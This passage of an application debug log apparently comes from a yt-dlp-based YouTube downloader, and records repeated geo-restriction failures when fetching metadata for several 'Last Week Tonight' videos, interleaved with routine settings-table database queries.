/tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:03.089 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:03.090 [debug] QUERY OK source="settings" db=0.1ms idle=211.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:03.090 [debug] QUERY OK source="settings" db=0.0ms idle=211.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:03.090 [debug] Running yt-dlp command for action: get_media_attributes 15:56:03.094 [debug] QUERY OK source="settings" db=0.0ms idle=216.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:03.095 [debug] QUERY OK source="settings" db=0.0ms idle=216.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:03.095 [debug] QUERY OK source="settings" db=0.0ms idle=67.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:03.095 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d4/fe/d4fe52c7397fbdbfa41819cd4c90e4f9fe34590c06f05aa7a1ebd0b8b14a4419.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:04.520 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d4/fe/d4fe52c7397fbdbfa41819cd4c90e4f9fe34590c06f05aa7a1ebd0b8b14a4419.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:04.521 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:04.521 [debug] QUERY OK source="settings" db=0.1ms idle=1431.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:04.521 [debug] QUERY OK source="settings" db=0.0ms idle=1426.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:04.521 [debug] Running yt-dlp command for action: get_media_attributes 15:56:04.531 [debug] QUERY OK source="settings" db=0.0ms idle=1436.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:04.531 [debug] QUERY OK source="settings" db=0.0ms idle=1436.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:04.531 [debug] QUERY OK source="settings" db=0.0ms idle=502.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:04.531 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/32/0d/320df835fb941087ca4ddfdfe1abfb6934e451f99981d79b9a08cdd749b8637d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:06.076 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/32/0d/320df835fb941087ca4ddfdfe1abfb6934e451f99981d79b9a08cdd749b8637d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:06.077 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 15:56:06.077 [debug] QUERY OK source="settings" db=0.1ms idle=198.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:06.077 [debug] QUERY OK source="settings" db=0.0ms idle=199.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:06.077 [debug] Running yt-dlp command for action: get_media_attributes 15:56:06.092 [debug] QUERY OK source="settings" db=0.0ms idle=214.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:06.092 [debug] QUERY OK source="settings" db=0.0ms idle=214.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:06.093 [debug] QUERY OK source="settings" db=0.0ms idle=62.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:06.093 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/8f/598fcd09feb8b8f49eec3a953c3c442e59bd868697b9fd0c6fde84eb88113b88.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:56:07.843 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/8f/598fcd09feb8b8f49eec3a953c3c442e59bd868697b9fd0c6fde84eb88113b88.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 15:56:07.844 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands 